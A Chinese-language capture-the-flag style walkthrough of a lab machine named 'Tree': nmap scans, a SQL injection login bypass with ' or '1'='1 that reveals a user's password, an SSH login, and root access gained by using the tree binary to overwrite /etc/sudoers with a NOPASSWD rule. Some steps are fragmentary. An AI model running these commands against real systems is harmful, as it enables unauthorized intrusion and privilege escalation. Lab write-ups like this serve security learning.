┌──(root㉿kali)-[/miao/maze-sec/tree] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-13 21:32 CST Nmap scan report for 192.168.2.1 Host is up (0.00047s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00054s latency). MAC Address: 08:00:27:D1:C4:24 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.56 Host is up (0.00051s latency). MAC Address: 08:00:27:F1:AB:D3 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.11 seconds
靶机IP:192.168.2.56
二、端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/miao/maze-sec/tree] └─# nmap --min-rate 10000 -p- 192.168.2.56 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-13 21:33 CST Nmap scan report for 192.168.2.56 Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:F1:AB:D3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.65 seconds
┌──(root㉿kali)-[/miao/maze-sec/tree] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.56 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-13 21:33 CST Nmap scan report for 192.168.2.56 Host is up (0.00093s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:F1:AB:D3 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
3、UDP端口扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/miao/maze-sec/tree] └─# nmap -sU --top-ports 100 192.168.2.56 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-13 21:34 CST Nmap scan report for 192.168.2.56 Host is up (0.00047s latency). All 100 scanned ports on 192.168.2.56 are in ignored states. Not shown: 60 closed udp ports (port-unreach), 40 open|filtered udp ports (no-response) MAC Address: 08:00:27:F1:AB:D3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 55.94 seconds
猜测可能存在SQL注入,直接万能语句' or '1'='1,找到用户yolo以及密码06f5086772e0
四、获取yolo权限
直接使用账号和密码进行连接
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[/miao/maze-sec/tree] └─# ssh yolo@192.168.2.56 yolo@192.168.2.56's password: Linux Tree 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. yolo@Tree:~$ id uid=1000(yolo) gid=1000(yolo) groups=1000(yolo)
yolo@Tree:~$ /usr/bin/tree --help usage: tree [-acdfghilnpqrstuvxACDFJQNSUX] [-H baseHREF] [-T title ] [-L level [-R]] [-P pattern] [-I pattern] [-o filename] [--version] [--help] [--inodes] [--device] [--noreport] [--nolinks] [--dirsfirst] [--charset charset] [--filelimit[=]#] [--si] [--timefmt[=]<f>] [--sort[=]<name>] [--matchdirs] [--ignore-case] [--fromfile] [--] [<directory list>] ------- Listing options ------- -a All files are listed. -d List directories only. -l Follow symbolic links like directories. -f Print the full path prefix for each file. -x Stay on current filesystem only. -L level Descend only level directories deep. -R Rerun tree when max dir level reached. -P pattern List only those files that match the pattern given. -I pattern Do not list files that match the given pattern. --ignore-case Ignore case when pattern matching. --matchdirs Include directory names in -P pattern matching. --noreport Turn off file/directory count at end of tree listing. --charset X Use charset X for terminal/HTML and indentation line output. --filelimit # Do not descend dirs with more than # files in them. --timefmt <f> Print and format time according to the format <f>. -o filename Output to file instead of stdout. ------- File options ------- -q Print non-printable characters as '?'. -N Print non-printable characters as is. -Q Quote filenames with double quotes. -p Print the protections for each file. -u Displays file owner or UID number. -g Displays file group owner or GID number. -s Print the size in bytes of each file. -h Print the size in a more human readable way. --si Like -h, but use in SI units (powers of 1000). -D Print the date of last modification or (-c) status change. -F Appends '/', '=', '*', '@', '|' or '>' as per ls -F. --inodes Print inode number of each file. --device Print device ID number to which each file belongs. ------- Sorting options ------- -v Sort files alphanumerically by version. -t Sort files by last modification time. -c Sort files by last status change time. -U Leave files unsorted. -r Reverse the order of the sort. --dirsfirst List directories before files (-U disables). --sort X Select sort: name,version,size,mtime,ctime. ------- Graphics options ------- -i Don't print indentation lines. -A Print ANSI lines graphic indentation lines. -S Print with CP437 (console) graphics indentation lines. -n Turn colorization off always (-C overrides). -C Turn colorization on always. ------- XML/HTML/JSON options ------- -X Prints out an XML representation of the tree. -J Prints out an JSON representation of the tree. -H baseHREF Prints out HTML format with baseHREF as top directory. -T string Replace the default HTML title and H1 header with string. --nolinks Turn off hyperlinks in HTML output. ------- Input options ------- --fromfile Reads paths from files (.=stdin) ------- Miscellaneous options ------- --version Print version and exit. --help Print usage and this help message and exit. -- Options processing terminator.
yolo@Tree:/tmp$ ssh-keygen -t ed25519 Generating public/private ed25519 key pair. Enter file inwhich to save the key (/home/yolo/.ssh/id_ed25519): Created directory '/home/yolo/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/yolo/.ssh/id_ed25519 Your public key has been saved in /home/yolo/.ssh/id_ed25519.pub The key fingerprint is: SHA256:6YV81WtNfALzmF6TX2c1xwtA5LxIfgvpB5NrJKUOF1o yolo@Tree The key's randomart image is: +--[ED25519 256]--+ | o++ oo| | o O o=| | E o o+ O O| | o.*o+o.. X+| | o +SXoo. o o| | +.+o* .. | | ..+ o | | . . | | | +----[SHA256]-----+
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jul 11 06:57:11 2025 from 192.168.3.94 root@Tree:~# id uid=0(root) gid=0(root) groups=0(root)
方法三:sudoers写入
写入
1 2 3 4
yolo@Tree:/tmp$ vi sudoer yolo@Tree:/tmp$ /usr/bin/tree --fromfile --noreport -i /tmp/sudoer /tmp/sudoer yolo ALL=(ALL) NOPASSWD: ALL
将文件写入到/etc/sudoers
1 2 3 4 5 6
yolo@Tree:/tmp$ /usr/bin/tree--fromfile--noreport -i /tmp/sudoer -o /etc/sudoers yolo@Tree:/tmp$ sudo -l /etc/sudoers:1:12: syntax error /tmp/sudoer User yolo may run the following commands on Tree: (ALL) NOPASSWD: ALL
进行提权
1 2 3 4 5 6 7
yolo@Tree:/tmp$ sudo /bin/bash -p /etc/sudoers:1:12: syntax error /tmp/sudoer ^ ERROR: ld.so: object '/tmp/pe.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. root@Tree:/tmp# id uid=0(root) gid=0(root) groups=0(root)